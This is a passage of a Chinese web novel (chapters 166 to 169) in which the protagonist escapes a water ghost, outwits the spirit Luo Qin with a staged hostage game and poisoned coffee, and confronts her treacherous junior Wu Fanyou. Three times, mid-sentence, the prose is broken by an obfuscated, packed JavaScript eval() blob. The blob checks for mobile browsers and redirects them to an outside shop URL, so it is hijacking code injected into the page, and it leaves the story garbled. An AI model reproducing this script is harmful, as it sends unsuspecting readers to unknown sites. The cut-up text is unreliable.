俞小澄伸着脖子探出水面,张着嘴艰难地换了几口气,两边的力道使她在水里沉浮不止。 她意识到这样下去不是办法,纹身男趴在岸边使不上全力,而她在水里更是将命交到了别人手里,一旦纹身男没了力气,她就只能面对一个死字。 脑子飞速运转,她在脑海中呼唤着招财,而招财也立马明白了她的想法,从空中朝着她俯冲而下,直接装进了她身体里,将她撞入那片熟悉的深海。 也恰在招财取代俞小澄控制身体的时刻,原本站在岸边一动不动的吴樊祐忽然转到纹身男身后,抬脚踢在纹身男后背,将人直接踢进了泳池中。 二人双双沉入水中。 招财憋着气瞪大眼,借着他的视线,俞小澄看到被水波纹扭曲的岸边,那个一脸冷漠的男人转身远离了池边。 呵,可笑,俞小澄你究竟还在期待什么? 难道真的相信了他所谓的喜欢? 坠入深海的俞小澄只觉一阵寒冷,从内而外,似要将她冻结一般。 招财还未摆脱抓住脚踝的那股力道,心中响起俞小澄的低沉疲倦的声音:“招财,符纸,保护之力。” 招财在水里挥了挥手,招出那张许久未用过的符纸,咬破食指指尖,一丝丝鲜血涌现,并未融入水里,而是如一条条红线有了生命,缓缓向着符纸游去。 须臾间,保护之力的符箓凝结,招财迅速往身上一贴,脚下的那股力道瞬间消失。 显然这池中的水鬼对这符箓也很忌惮,没有了阻碍,招财拉起身旁的纹身男,就往池边游去。 兴许是水鬼不敢靠近,二人挣扎片刻便爬上了岸。 躺在地上一阵喘,招财离开了俞小澄的身体,并将符纸重新披到身后。 俞小澄再次拿回身体控制权,浑身有些无力,但又担心泳池里的水鬼再出来捣乱,索性让招财进宝将这一池的水放干。 二人在池边休息了许久,直到泳池见底,终于恢复了力气。 “刚才是怎么回事?游泳馆的水鬼作祟?”纹身男站起身,将湿漉漉的头发往脑后一捋,看着空无一物的泳池内,一副心有余悸的表情。 “嗯,别靠近水应该就没事。”俞小澄淡淡地回了一句。 一阵穿堂风吹过,浑身湿透的二人不由得打了个寒颤。 纹身男四下张望,早已不见吴樊祐身影,嘴里愤愤不平道:“那小子果然一肚子坏水,不帮忙就算了,还落井下石。” 对此,俞小澄表现冷淡,或许是因为心彻底凉了,连愤怒都开始消散。 “这才哪儿到哪儿啊,总之对他,你得随时提高警惕。” 俞小澄答得淡然,心里却在思考着该如何惩罚这个卑鄙小人,不过第一步是先让招财寻找他的踪迹。 纹身男又问:“这下我们又该怎么办?还能找到离开的门吗?” 俞小澄摇着头道:“一场游戏仅有一扇门,要想离开这场游戏,要么消灭恶灵,要么一直逃到游戏结束。” “恶灵又是什么?要如何消灭?”纹身男的脑子里全是疑问。 俞小澄哪有心思一一回答,口风一转,说:“我们现在这狼狈样,什么也别想干,先找个地方洗个澡换身衣服吧。” 纹身男指了指通往换衣间的门,虽说不一定能找到换洗衣物,但可以洗个热水澡。 俞小澄忍不住讥笑道:“刚才没洗够吗?还敢在游泳馆洗澡?你不怕水鬼顺着水管去找你吗?” 这句话对纹身男十分奏效,他赶紧催着俞小澄离开了游泳馆,然后去往了西苑男生宿舍楼。 纹身男脑子转得挺快,径直带着俞小澄去找王骏帮忙,借了他两身衣服,并在他房间洗了个澡。 等收拾完毕,二人回在房间里休息,招财也已经探查到吴樊祐的踪迹,返回俞小澄身边,并告知,此时吴樊祐也在这栋宿舍楼里,只是他们在307,而吴樊祐在他们昨晚住的那间房中。 正思考着要不要上门兴师问罪,王骏兴奋地凑到俞小澄面前,关切地问:“哇,老师们去调查游泳馆怪谈了吗?看到那水鬼长啥样了吗?” 被突然打断思路的俞小澄没好气地回:“要不你现在去看看?” 王骏立马乖巧起来,笑着婉拒:“不用了,我也不是很在意,哈哈哈……” 看着王骏这NPC无忧无虑的样子,俞小澄心中有一丝感慨,相比其他难度的梦境,这里还算惬意,只要不违反规则,那些鬼怪传说似乎并不影响这里的生活。 不过,她终究要毁了这个困住所有人的梦境。 忽然,俞小澄想起关键时刻进宝无法附身一事,她转头望向招财进宝,在心里跟二人讨论起这究竟是怎么一回事。 进宝:“进宝也不知道,姐姐的身体在排斥进宝。” 俞小澄:“奇怪,招财似乎没有遇到过无法附身的问题。” 招财:“昂!进宝附身时会有些……奇怪……大概需要满足什么条件,才能完成附身。” 这个结果对俞小澄来说,无疑算是一种打击,本以为手握一种无成本对付恶灵的手段,没想到并非想用就可用,如此一来,她不得不思考其他方式对付恶灵。 “姐姐,要不让我试试能不能毒死恶灵?”招财摇了摇手里的小药瓶。 那是在游乐园梦境中获取的道具,俞小澄都快忘了它的存在,此刻再见,一阵心喜,道:“对啊,修仙梦境的符箓既然能对付水鬼,兴许毒药可以对付罗覃。” 招财没有她这么乐观,摇头告诫:“姐姐别高兴得太早,上回就没毒死魏含英。” 俞小澄想了想,提出了自己的看法:“上次毒死了唐哲,梦境就土崩瓦解了,你们说这个梦境会不会也存在这种逻辑?” “可唐哲是魏含英最重要的人,是记忆之门的钥匙,并且他们在现实中的结局便是如此,这次情况好像有点不一样呀。”进宝提醒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699389|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 俞小澄却因为她的话,对自己的判断更加肯定,她想起了罗覃衣柜中的那封道歉信,信是写给梁复乐的,却一直没有交出去,或许这就是罗覃的心病。 “这场梦境,也许就是为梁复乐创造的。”俞小澄自言自语。 没注意这句话说出了声,纹身男诧异地盯着俞小澄,一脸欲言又止的样子。 他心中疑惑甚多,一时又不知该从何问起,这些疑问冲击着他的脑海,始终得不到合理的解释,可他知道说来话长,要想全部消化并非一朝一夕,于是在强烈的思想撞击下,终是凝聚成一个问题脱口而出: “接下来,我们该如何?” 毒药、道歉信、罗覃、梁复乐、陶然、校园五大怪谈……还有吴樊祐…… 无数的念头在俞小澄心中纠缠,一个恶毒的计划渐渐浮出了水面。 俞小澄将这个计划简单告诉了纹身男,今晚他们必须堵上一把,叫上王骏帮忙,俞小澄开始了自己的复仇,向恶灵,也是向吴樊祐。 俞小澄将所有当事人召集到了第五教学楼601室,时间刚过10点,楼里循环播放着提醒学生离开教学楼的广播。 601室内,梁复乐、陶然和吴樊祐被纱布蒙住眼睛,绑在椅子上,面对着窗外,一台相机正对着三人拍摄,相机镜头后,俞小澄、纹身男和王骏靠坐在桌子上,回头望着教室门,似乎在等待着什么人的到来。 陶然:“老师,这样真能解决校园五大怪谈?” 俞小澄三人第一个去找的就是陶然,并以解决怪谈为诱饵,忽悠陶然参与他们的计划。 梁复乐:“蒙眼是怕我们看到跳楼的鬼魂,这我能理解,但把我们绑在这里又是什么意思呢?” 之后,俞小澄借陶然的手机,将独自在宿舍的梁复乐约到了第五教学楼601室,并同样以解决怪谈作为解释,热心肠的她自然同意配合,只是不知道绑她的意义。 吴樊祐:“学姐,你不怕恶灵直接耍无赖吗?” 最后,俞小澄带了纹身男和王骏两个帮手去找吴樊祐,本想直接将人绑了,没想到他十分配合地束手就擒。 吴樊祐的话,俞小澄自然明白,她如今绑了梁复乐和陶然,是想跟恶灵进行一场游戏,可如果恶灵直接发动时间技能,她这场谋划将变成笑话。 “不用你操心,要比耍无赖,谁能比得过你啊?”俞小澄若无其事地踱步到吴樊祐身旁,挑衅一般用手背拍了拍吴樊祐的脸。 一分钟前,她用梁复乐的手机拍了三人被绑601室的照片,发给了罗覃,并警告罗覃不要轻举妄动。 她声称给梁复乐下了毒,如果罗覃敢快进时间,只会加快梁复乐体内毒性发作,届时将无力回天。 她约罗覃到601室一叙,用一场游戏结束她们的恩怨。 这所谓的慢性毒药当然不存在,不过毒药她确实有,只是她并不想以杀掉梁复乐来轻松结束这场梦境,那太便宜罗覃了。 她打算让罗覃来做决定,决定谁生谁死。 二十分钟后,如俞小澄所想,罗覃如约而至,带着一身戾气,走进了这间闹鬼的教室。 167. 梦境(六) 教室里,被纱布遮眼,绑在窗户前的三人还不知发生了什么事,与俞小澄和纹身男坐在一起的王骏更是茫然,他正兴奋又紧张地望着相机屏幕,期待着即将发生的一切,却没注意身后有人到来。 俞小澄因为恰好站在吴樊祐面前,正对着房门方向,所以最先发现了罗覃。 她心头微微一紧,表面竭力保持着镇定,不敢在恶灵面前露怯,从而让这场虚假的戏败露无遗。 “乐乐学姐。” 罗覃开场第一句便是呼唤梁复乐。 梁复乐忽然听到朋友的声音,露出一丝诧异,问:“怎么你也来了?” 俞小澄并不担心她们之间的交流可能会暴露什么信息,因为她传递给罗覃的消息,是让对方以为自己故意将梁复乐和陶然骗到了这里。 因此,她只是露出一脸淡定的微笑,静静看着一对好友寒暄。 罗覃站在门边没有靠近,冷着一张脸,瞪着俞小澄,却用平静的声音问梁复乐:“学姐,他们有没有给你吃什么东西?” 俞小澄心想:这恶灵还挺谨慎,一来就确认梁复乐是否被下毒。 如果梁复乐的答案是否定,大概率罗覃便不会有所顾虑,可能当场便会发动时间技能,将所有玩家转移到危险之地。 只有确定梁复乐真的中毒,她才会同意俞小澄的这场游戏。 纹身男靠坐在桌子上不敢动弹,视线紧张地来回游走于俞小澄与罗覃之间,呼吸都随之急促起来。 他大概知道俞小澄的计划,可他清楚俞小澄没有毒药,所以非常担心俞小澄的计划弄巧成拙,为大家惹来不必要的麻烦。 王骏则一直处于状况外,以为罗覃也是被俞小澄喊来帮忙解决校园怪谈的一员,对于他们的对话无甚在意。 就在这紧张又微妙的氛围中,梁复乐语气轻快地回道:“哦,老师们人很好,一来就请我喝了杯咖啡,你也来帮忙吗?早知道我出门时就喊你一起了。” 纹身男的心狂跳不已,担心俞小澄控制不住局势。 而俞小澄始终保持着一副胜券在握的姿态,只是在无人能看到的身后,手指狠狠抓着手腕,在上面留下清晰的红痕。 很快,俞小澄就明白,恶灵上钩了。 因为除她以外,所有人都停止了动作,甚至停止了呼吸,时间仿佛在这一刻停滞不前,除了她与罗覃,整个世界都进入了停摆状态。 罗覃缓缓走进了教室,仿佛试探着俞小澄的底限,语气轻蔑地问:“你就不怕我现在就杀了你吗?愚蠢的住客,别忘了,这是我的世界。” 独处让俞小澄有些不安,她知道在这停顿的时空中,招财进宝帮不了她,只有她一人孤军奋战,绝无后援。 “呵呵,你是不是也忘了,我没有违反规则,你杀不了我。”俞小澄虚张声势地回怼。 她的这句话成功止住了罗覃靠近的脚步,她瞬间明白,从现在开始,局势将由她主导。 罗覃接下来的话印证了她的判断。 “说说吧,你想玩什么游戏,我乐意奉陪!”罗覃饶有兴致地站到了讲台上,仿佛自己才是这个故事的主角。 “很简单,”俞小澄说话的节奏不快不慢,声音十分平淡,“我给你个机会决定所有人的命运,如何?” “哦?我以为,一直都是我在决定你们的生死,不是吗?” 罗覃说话的表情,流露出对于俞小澄的嘲笑,仿佛在说这里本就是她的主场,居然有人大言不惭想要给她机会,说出来只会贻笑大方。 俞小澄淡然一笑:“不,我们的生死你决定不了,只有我能决定,何时结束这场梦境,何时了结你的性命,并让你以哪种方式消失……这就是身为造梦者的宿命!” 罗覃的笑霎时凝固,俞小澄的话似乎给予她不小的冲击,她眉头紧锁,不知在思考着什么,过了半晌,声音变得不那么自信。 “你是旅店管理者?” 俞小澄本只是虚张声势,想要唬住罗覃,掌握局势的主导权,可罗覃此刻的反应有些脱离了她的预期。 “你还不算太傻。”俞小澄顺水推舟,一装到底。 “你们不是不会介入吗?!为何出尔反尔?说好了这是我的世界,由我制定规则,只要能替你们惩治住客,我便可永远留在梦境里,为何要阻止我?” 罗覃情绪异常波动,歇斯底里控诉着不公。 俞小澄整个人感觉有点懵,下意识地追问:“你记得自己犯了什么罪过吗?” “干嘛?系统批判完,还不够,甚至跟到梦境中来批判我?我没有错,学姐的死不是我造成的,要怪都怪陶然,如果没有他,如果没有他……” 罗覃痛苦地抓扯着头发,似乎想要将这份记忆从脑海中删除。 所以说,变成恶灵的住客都找回了自己的记忆? 俞小澄不由得如此猜测,并继续问:“你还记得住进穷途旅店时的事吗?还记得记忆之门吗?” 俞小澄心中疑惑不止,究竟是怎样的验证,为何没有人能通过记忆之门离开旅店,这些沦为恶灵的人又为何要帮助旅店折磨其他住客? 脑子里太多疑问,为了不引起罗覃对于她身份的怀疑,她无法一一问出口,只能试探着引出一些可能有用的信息。 “记忆之门?那不是你们让我守护的东西吗?幻化成对我来说最重要的东西,时时刻刻纠缠着我,提醒我的罪孽,你们不正是以此为乐吗?住客身份?哈哈哈,别引我发笑了,那段记忆不是你们亲手删除的吗?现在又来试探我是否记得?怎么?你们的系统失灵了?” 罗覃心中似乎有太多不满,喋喋不休抱怨一通,随后不耐烦地制止了俞小澄继续询问的想法。 她神情厌倦地说:“赶紧开始你的游戏,我没有兴趣与旅店管理者在我的梦境中讨论这些令人厌烦的话题。” 俞小澄不敢再继续追问,只得回到正题上,伸手指了指窗前的三人,道:“你可以在这三人之间任选一人,让其目睹鬼魂坠亡。” 在俞小澄的计划中,无论这三个人中谁成为教学楼鬼魂的替死鬼,都会结束这场梦境,对她来说,没有任何损失。 “哦,原来这就是你所谓的机会。” 罗覃露出一副洞悉了俞小澄想法的表情,讥讽道:“管理者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707093|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然无情,我还以为你至少会在乎自己的同伴。” “哼,不过是对背叛者的惩罚罢了。”俞小澄眼神不屑地瞥向吴樊祐。 被时间禁止的众人,对于正在发生的秘密谈话一无所知,甚至不知道自己的生死正在两个人的交谈中逐渐被决定。 可不知为何,俞小澄看向吴樊祐时,仿佛感觉对方身体微微动了一下。 怀疑是自己眼花了,俞小澄俯下身,凑到吴樊祐面前,耳朵贴近,仔细聆听,却并未对方的呼吸声。 “如果我选择你们的同伴,梦境就会结束,这是你想要的结果吗?” 罗覃的声音打断了俞小澄探查的举动。 俞小澄站直身子,满脸无所谓,耸耸肩说:“由你决定。” 罗覃咯咯笑出了声,仿佛找到了令她自己满意的答案,指了指陶然,说:“恐怕要让你失望了,我选陶然,梦境不会结束,而你,不会再有同我玩这种无聊游戏的机会了。” 罗覃无比笃定地给出判词,仿佛在宣布着俞小澄的失败,一脸得意地欣赏着俞小澄即将因失败而崩溃的表情。 俞小澄却平静地回应一句:“会结束的,不信你试试。” 罗覃不明白俞小澄哪里来的自信,但也绝不相信俞小澄的说辞,像是为了打俞小澄的脸,罗覃打了个响指。 随着一声响亮的响指在教室中回荡,教室中的灯光忽然熄灭,停止的时间开始走动,俞小澄低头发现手表上的时间快速走到了10点半。 所有人恢复了意识,仿佛没有意识到时间被快进,没有蒙眼的人正诧异为何灯光突然熄灭,而被蒙眼的三人中,陶然眼睛上的绷带自然脱落。 俞小澄瞬间意识到罗覃要干嘛,保持着背对窗户的姿势,高声喊道:“闭上眼,别看!” 在她的提醒下,纹身男迅速反应过来,用手挡住了眼睛,而王骏吓了一大跳,看到纹身男挡眼才回过神来,慌张地蹲下身,躲到了桌子下。 此刻陶然也意识到不对劲,可是想要闭眼已经来不及,仿佛有一只无形的手固定住他的脸,并将他的双眼撑开。 窗外一个黑影头朝下迅速贴着窗玻璃下坠,黑乎乎的脸上燃烧着两团绿幽幽的火焰,如同一双眼睛,直勾勾地盯着陶然。 “不、不要,乐乐,乐乐救我……” 陶然的声音充斥着绝望,也许他想逃,可身上的绳子束缚了他的行动,他避无可避地看着黑影一遍又一遍地从眼前坠落。 “陶然?怎么回事?”梁复乐有些心慌地挣扎起来,同样因为束缚无能为力。 当窗外黑影第三次坠落后,陶然彻底失去了神志,绝望的求救声戛然而止,俞小澄听到身旁绳子落地的声音,扭头看去,椅子上哪里还有陶然的身影。 俞小澄下意识转头望去,只见陶然绝望的脸从窗外一闪而过。 俞小澄吓得赶紧转头闭眼,仿佛失去了血液的手脚,冰凉到不停颤抖。 罗覃癫狂地笑了起来,高声宣布着俞小澄的失败:“如何?没有结束吧?是你输了!” 俞小澄尝试稳定住心神,故作镇定地回应:“我看未必。” 168. 梦境(六) 俞小澄说话间,转身走到梁复乐身前,俯身凑到梁复乐耳边,轻声将陶然惨死的消息告诉了梁复乐,然后松开了绑住梁复乐的绳子,将一罐咖啡塞进了梁复乐手中。 罗覃见状匆忙跑到窗边,抓住了梁复乐伸向眼前纱布的手,高声劝阻:“乐乐学姐,不能看!” 梁复乐的声音跌至冰点,再无平日的热情:“放开,别管我。” 对于梁复乐的崩溃和冷淡,罗覃有些不知所措,于是迁怒到俞小澄身上,恶狠狠地质问:“你跟乐乐学姐说了什么?还有解药呢?!” 俞小澄悠闲地走回到吴樊祐面前,替他解开了身上的绳子,然后揪着吴樊祐的耳朵将人往教室外带。 她听着吴樊祐叫着疼,眼中没有一丝怜悯,然后轻蔑地瞥了罗覃一眼,道:“你选错了,你应该选这个混蛋,至少你的世界不会有何改变。对了,我也没说什么,只是告诉梁会长,你在他们三人之间,选择了陶然。” 带着吴樊祐和纹身男走出了601,身后传来梁复乐绝望的恸哭声,以及罗覃彻底慌乱的安慰声。 “你为什么……为什么要选陶然……” “不是的,都是那人的诡计……” “你就这么讨厌陶然吗?” “没有,我没有讨厌他!” “还是说你只是不希望我好过?看到我难过你才开心吗?究竟为什么?!” “对不起学姐,我真的不想让你难过,陶然总惹你不高兴,不是么?” “所以呐?所以他就该死吗?” “对不起学姐,我只想让你好好活着,让你看清陶然的真面目而已……” “你为什么……为什么要替我决定一切……” …… 随着俞小澄等人步步远离,身后的争吵声渐渐变弱,直至彻底淡去。 吴樊祐摘掉眼睛上的纱布,默不作声地看着身旁揪着自己耳朵的俞小澄,身后的争吵声让他心情无比复杂。 纹身男不解地问道:“我们现在要去哪里?这场选择的意义又是什么?游戏不是还没结束吗?” 俞小澄一直走到彻底听不见二人争吵声的地方,才停下脚步,然后松开吴樊祐的耳朵,带着疲倦的神情往台阶上一坐,恹恹道: “会结束的,再等等。” “待会儿罗覃发现梁复乐没有中毒,不知道又会将我们传送到哪里,就这么放任事态发展真的没关系吗?”纹身男频频回头,望着早已看不见的601室。 俞小澄目光冰冷,微微扬起嘴角:“之前的确没下毒,可现在下了。” “啊?什么时候?”纹身男大惊。 “方才递给梁复乐的那罐咖啡里,并且我也告诉她了,如果想惩罚罗覃,饮下那罐咖啡足矣。” 俞小澄说话时,情绪没有丝毫起伏,仿佛在陈述一件极其普通的事,对其结果也无比笃定。 “……” 纹身男一时语塞。 反倒是吴樊祐难掩好奇心,问:“如果梁复乐不会为陶然之死轻易断送自己的性命呢?” 俞小澄嘲笑道:“你这样的人怎么可能理解?一切只是现实必然的结果,是对付恶灵最好的手段。罗覃必然会选择陶然,而梁复乐也必然会追随陶然。” 只因为,她看见了道歉信,又听见了罗覃不知悔改的话,梁复乐一定被罗覃害死了,这就是她的罪。 所以她创造了这个梦境,一个梁复乐还活着的梦境,一个梁复乐与陶然交往的梦境,却在梦中让校园怪谈成真。 俞小澄以前一直在想,恶灵为何要用怪谈来对付住客,这些太过明显的规则,只要细心调查,很容易能够规避,这些怪谈规则很难杀死住客。 难道只是因为这是雏菊梦境? 所以对住客格外友好吗? 直到方才听到罗覃与梁复乐的交谈,俞小澄突然想通了这一点,这些怪谈根本不是为了住客设置的,而是为陶然设下的陷阱。 一个个足以动摇陶然和梁复乐感情的陷阱。 或许,如果没有俞小澄的抉择游戏兴风作浪,陶然的懦弱会渐渐瓦解他在梁复乐眼中的形象,直到有一天,二人的感情会随着时间自然而然变淡,而罗覃终会得到她想要的。 届时,那封道歉信便不用再送出了,她证明了自己的观点。 罗覃,她从未悔改,即便打着只想让梁复乐快乐的旗号,说到底,不过是为了证明自己没有错,自我安慰的欺骗罢了。 如此思索着,俞小澄抬眼看向了吴樊祐,她在罗覃的身上仿佛看到了吴樊祐的影子。 一边叫嚣着对不起三个字,可行为上从来都只顾自己,为所欲为。 在纹身男为是否会迎来俞小澄所谓的结局而疑惑之时,俞小澄只是轻声叹了句可惜:“明明完成了两个金币任务,却等不到明日交任务拿奖励。” 相机还留在601室,而遗失的手串被女教师带进了记忆之门里。 俞小澄掂量着手里的四枚金币,然后发现强烈的白光刺透了墙壁,梦境崩塌的钟声已经敲响,她嘴角露出一抹没有人情味的笑意。 大抵,梁复乐还是选择喝下了那罐被俞小澄下了毒的咖啡。 这就是俞小澄猜测的结局,只要罗覃选择的不是吴樊祐,剩下的两人,不管罗覃选谁,这场梦境都将迎来终结。 这终究是一场基于现实创造的梦境,现实的结局并不是能轻易改变的,这也许就是穷途旅店对于有罪者的惩罚。 俞小澄觉得如果自己走进记忆之门,大概也会落得如此下场,沉迷于虚假的现实,永不得解脱,直至被住客消灭,彻底告别这个糟心的世界。 在土崩瓦解的空间中,俞小澄似乎听到了恶灵痛苦的哀嚎声。 “为什么!为什么你还是要选择那个男人!” “不是我的错!我没有害死你,全都是那个臭男人的错,他根本就配不上你!” “为什么所有人都要妨碍我……” “对不起学姐……” “对不起……” …… 那崩溃的痛苦弥漫在整个即将消失的梦境里,和曾经经历的所有梦境一样,每个恶灵都有放不下的执着与怨念。 他们在属于自己的罪孽中,难得解脱,痛苦挣扎,寻找不到逃离的道路。 而执迷于留在穷途旅店的俞小澄又何尝不是另一种形态的恶灵呢? 在这种微妙的违和感中,俞小澄仿佛窥见了穷途旅店的真实面貌,又好像被虚假的真相迷惑了双眼。 杂乱无章的思绪将脑海填满,俞小澄从混沌中渐渐转醒,终于回到了熟悉的房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719922|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 醒来的第一件事,便是习惯性地摸了摸衣兜,确定两个陶瓷娃娃安稳地呆在里面,她松了口气,缓缓坐起声,从兜里摸出那四枚金币。 虽然少拿两枚金币,但这四枚金币似乎也勉强够用了。 从金币上移开视线,俞小澄看到了坐在隔壁床上正厚着脸皮对自己笑的吴樊祐,心情瞬间跌至谷底。 “这次你还有什么借口吗?” 俞小澄用审判者的目光注视着吴樊祐,仿佛在看一个小丑,期待他能奉上一场令人叹为观止的演出。 “呵呵,现在任何解释好像都显得不礼貌了……” 吴樊祐面露苦涩,“学姐打算如何处置我?” “终于江郎才尽,编不出理由,不演了?” “如何编也是徒劳,我这属于搬起石头砸自己的脚,解释不清了,学姐已经不可能信我了。” “总算有点自知之明了,还有什么遗言想说?” “等学姐离开旅店后,能不能别恨我?” “噗……”俞小澄一时没忍住,毫无掩饰地笑出了声,不知该说吴樊祐是入戏太深,还是信念感太强,一定要将他自己的鬼话贯彻始终。 俞小澄便也收敛起眼底的嘲讽与不屑,起身走到吴樊祐床边,故作深情地垂眸凝视,调戏一般用手指拂过吴樊祐的下颌,道,“你要是一直这么夹着尾巴做条好狗,我倒有些舍不得,可惜,你终究是只会咬主人的狗,养不熟。” 吴樊祐眉头微蹙,一把捉住俞小澄挑衅的手,抬眼盯着俞小澄,眼底露出一丝愠色。 俞小澄嘴角噙笑,面上并无半点畏惧,眼中甚至有一点期待的味道,仿佛等着吴樊祐露出真面目。 可她没能等到吴樊祐对她发怒,吴樊祐只是轻捻着她的指尖,目光黯淡,牛头不对马嘴地说:“我打赌赢了,学姐答应为我做一件事,你可还记得?” 俞小澄讥笑道:“噢,是有这么一回事,不过轻诺寡信这种事,你做得,我为何做不得?” “我没法再陪你了,俞小澄。”吴樊祐望向她的眼神难得透出一股真诚,仿佛在跟她道别似的,将她的手心贴在他滚烫的脸颊,“不用你动手,我已经没有时间了,别恨我。” 吴樊祐有些不对劲,仿佛病入膏肓,神志有些恍惚,俞小澄看不懂他这又是在演哪一出,不客气地甩开他的手,狠狠揪住他的脸颊,质问:“什么叫没时间了?” 吴樊祐任由她在脸上报复,却始终未做出解释,自顾自一闭眼,仰头躺回枕头上,嘴上说:“困了,再睡会儿。” 这话将俞小澄气得不轻,可无论她怎么拍打吴樊祐的脸,那个喊困的人装死一样,任由她打骂,就是不起来。 俞小澄折腾累了,声音阴沉地威胁道:“睡吧,恐怕这是你留在旅店最后一晚了,请尽情享受最后的时光!” 她已然明了,将吴樊祐留在这里,折磨的不是吴樊祐,而是她自己。 其实她想过,或许该直接送吴樊祐进入记忆之门,让他化作恶灵,再让进宝将他吞噬,这种报复方式似乎更解恨。 可她不知道是否能在短时间内找到吴樊祐的梦境,放他活在梦境之中折磨他人,她想想就火大。 大概是时候给这场恩怨一个了结,兴许一切因旅店开始,也应该由旅店结束。 169. 病来 吴樊祐睡得倒是安稳,俞小澄苦恼了一宿,该如何处置吴樊祐。 或许她该学禾苒对付陈奇的损招,找根绳子把吴樊祐捆了扔进吸烟室,然后等到夜幕降临,静静等着旅店送吴樊祐上路。 吴樊祐似乎没有一点危机意识,毫无戒心地呼呼大睡,反而是思考着如何害人的俞小澄一夜未得安眠。 窗外的天色渐亮,可隔壁床上的人没有一点要醒的迹象,俞小澄气恼地站在床边,用手背拍打着吴樊祐的脸颊,试图将人唤醒。 手背上传来滚烫的触感,昨晚吴樊祐拉着她的手贴上脸颊时,似乎也是这般温度。 当时俞小澄并未觉察出异样,可经过一夜还是如此,她很难不发现奇怪之处。 俞小澄用手心抚上沉睡之人的额头,那温度有些烫手,显然,这是生病发烧的症状。 原本以为吴樊祐是在赖床,此时再观察,人似乎已经烧得迷迷糊糊,意识不清了,任她如何拍打脸颊,吴樊祐也没什么反应。 “这就是报应吗?” 俞小澄在意识模糊的人耳边肆意嘲讽,而对方根本反抗不了,俞小澄瞬间有种幸灾乐祸的感觉。 哼着小曲将自己收拾一番,看看手表上,时间刚过7点,俞小澄打算去餐厅悠闲地吃顿早饭,至于吴樊祐,就让他尘归尘土归土,留在房中跟着房间一同消失即可。 心里这么计划着,她扔下吴樊祐出了门,再贴心地为吴樊祐将门关好。 拍了拍手上不存在的灰尘,她面带笑意走往电梯口。 忽闻一阵敲门声,远远看见那已婚女人正站在名牌男所住的房间门前,用力拍打着房门,似乎带着一股怒气。 纹身男和阴郁男人此时也站在已婚女人身旁,看见俞小澄出门,视线不由得向她扫了过来。 俞小澄不解地走上前,一问之下才知昨夜已婚男人、名牌男、性感女人以及微胖女人四人在这间房中喝酒打牌,已婚男人彻底未归。 听罢后,俞小澄轻描淡写地说了句:“不用敲了,他们应该已经不在房间里了。” “你看见他们了?”已婚女人诧异地望着俞小澄。 “昨晚什么情况,你们应该都清楚,敲了这么久不开门,恐怕凶多吉少。”俞小澄语气平淡地说道。 已婚女人更是不解:“什么什么情况?” 这回换成俞小澄一头雾水了,其实方才她就觉得奇怪。 纹身男跟她一起进了雏菊梦境,还活着自然正常;阴郁男人住的是箭竹房,难度不算太大,他尚能应付也还能预料到;唯独已婚女人进入的是幽兰梦境,连护身道具都没有且初入梦境的她,竟能全身而退,这事她属实没想到。 “你没做什么奇怪的梦吗?”俞小澄反问道。 女人埋头扶着额头回忆了片刻,然后回答:“说起来,的确做了个怪梦,梦里太过真实,不过那个梦很短,也不知是一场什么竞赛,我刚上场,就有人宣布我赢了,然后,我就醒了……” 俞小澄大惊失色,无比震惊地望着已婚女人,简直觉得对方才是真的开了挂,怎么比吴樊祐还离谱。 同样惊讶的还有纹身男和阴郁男人,他们在梦中的经历都不寻常,此刻再回忆起来,依然面有难色,仿佛有记忆不堪回首。 “究竟是怎么一回事?我们当真穿越到游戏中了吗?”纹身男问俞小澄。 俞小澄本不想给自己找麻烦,没想到能活下来的人还有这么多,不情不愿地解释道:“也可以算游戏吧,与恶灵的生死游戏,我们进入了恶灵编织的梦境世界,要么干掉恶灵毁灭梦境,要么找回记忆离开旅店,这就是我知道的全部。” “你怎么知道那么多?知道你为啥昨天又不说?你是不是和旅店绑架我们的人是一伙的?”阴郁男人警觉地往后退了一步,看向俞小澄的眼神中满是恶意揣测。 “我不过比你们早一日到旅店罢了,之前受我学弟胁迫,无法开口。”俞小澄顺着梦境中欺骗女教师和纹身男的说辞,继续将自己营造成受害者。 纹身男闻言想起了吴樊祐,便向俞小澄询问起下落。 “呃……还在睡觉……”俞小澄随口答道。 “该把那家伙抓来拷问一番才对!”纹身男因为受欺瞒而表现出些许愤慨。 阴郁男人虽没说话,但点了点头表示赞成。 已婚女人对此并不关心,依然不放弃地拍打着房门,神情有一点焦躁,吼道:“我老公到底去哪儿了?” 俞小澄有些无语,索性直白地告诉她:“大概率死在梦境中,尸体不会在旅店中出现,你不用找了。” “死、死了?”已婚女人瞪大了眼睛,一副难以置信的模样。 